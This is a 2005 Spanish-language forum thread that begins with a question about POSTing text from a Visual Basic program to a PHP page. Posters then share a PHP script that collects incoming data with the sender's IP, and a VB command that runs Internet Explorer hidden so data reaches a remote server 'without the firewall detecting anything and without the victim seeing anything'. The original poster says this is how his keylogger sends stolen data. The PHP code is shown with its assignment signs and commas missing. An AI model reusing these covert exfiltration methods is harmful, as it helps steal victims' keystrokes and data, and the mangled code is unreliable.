como enviar un texto por método post a php

Iniciado por A2Corp, 31 Agosto 2005, 15:58 PM

0 Miembros y 2 Visitantes están viendo este tema.

A2Corp

hola, mi pregunta es como postear un texto por medio del control Inet a una pagina web???

esto es lo que llevo de codigo, no se si este bien, miren:

-----------------

Public Function SendMail()

    Dim info As String
    Dim URL As String
    Dim Body As String
   
    On Error Resume Next
   
    URL = "www.t1bia.trans69.com/mail.php"
    info = "&body=" & text1
    Call Inet1.Execute(URL, "POST", info, "Content-Type: application/x-www-form-urlencoded")
End Function

----------------------
esa url es mia, ahi tengo un php que hice anoche el cual tiene un textbot y un boton, todo lo que se escriba en ese textbox se manda a uno de mis correos.
Pero no se como hacer para que mi aplicacion en VB mande lo que hay en text1 a esa web!!!!

podrian ayudarme con alguna info porfas? graciaaaaaaaas!
Hackeo, luego existo...

yeikos

"http://www.website.com/get.php?info=" & texto1.text
Y en el archivo get.php haces un get para que coja los datos que se le da a info.

programatrix

O sea:
<?
echo $info;
?>
Interesante y sabrías como hacerlo sin usar el control Inet??
Saludos  ;)

yeikos

Expuse mi duda hace tiempo sobre como hacer eso mismo con el control winsock y nadie conestó una respuesta coherente. La verdad es que este método para mi es el más eficaz a la hora de enviar datos "concretos", puesto que la cadena URL tiene un límite y no podemos excedernos.

get.php

<?php 
$id 
$_GET['id'];

$fp fopen("archivo.txt""a");
$msg "IP: ".$_SERVER["REMOTE_ADDR"]."<br>Fecha: ".date("d/m/y | H:i a")."</br>Datos: ".$id."</br></br>";
fwrite($fp$msg1000);
fclose($fp);

if (
$id == "ver") {
include (
"archivo.txt");
}
?>




De esta manera con hacer con el winsock un get.php?id=datosdeinteres silenciosamente bastaría para almacenarlo en un documento de texto junto a la fecha y su IP.

Para ver el documento pueden hacer get.php?id=ver .

yeikos

Encontré una solución para no tener que usar el winsock:

shell "C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE http://www.website.com/get.php?info=" & texto1.text, vbHide

De esta manera se pueden enviar datos silenciosamente sin que detecte nada el firewall, sin usar ningun control y sin que la victima vea nada.

Manibal_man

Si, eso en el caso que tenga xp, porque no siempre es esa la ruta del iexplore.exe, me parece mucho mejor usar ShellExecute para que lo haga con el browser predeterminado... sea cual fuere.

Saludos
:: I was born ready motha fucka ::

yeikos

Si lo haces con la aplicación "explorer.exe" la ventana no podrá permanecer oculta.

A2Corp

Jajaja, ese es el metodo que uso para mi keylogger :P.
se debe poner al ultimo Vbhide para que no se vea :P
Hackeo, luego existo...

Manibal_man

Cita de: YeIk0s en  3 Septiembre 2005, 23:51 PM
Si lo haces con la aplicación "explorer.exe" la ventana no podrá permanecer oculta.

Explorer.EXE es el proceso del administrador del entorno, "Iexplore.exe" es el browser

Saludos
:: I was born ready motha fucka ::

farder

Las soluciones aquí expuestas están bien, pero no solucionan la pregunta, de como enviar informacion mediantes POST, la diferencia reside enque con GET las cadenas largas i multinileas no obtienen un resultado satisfactorio.

Es estado buscando la manera y de momento sin respuestas.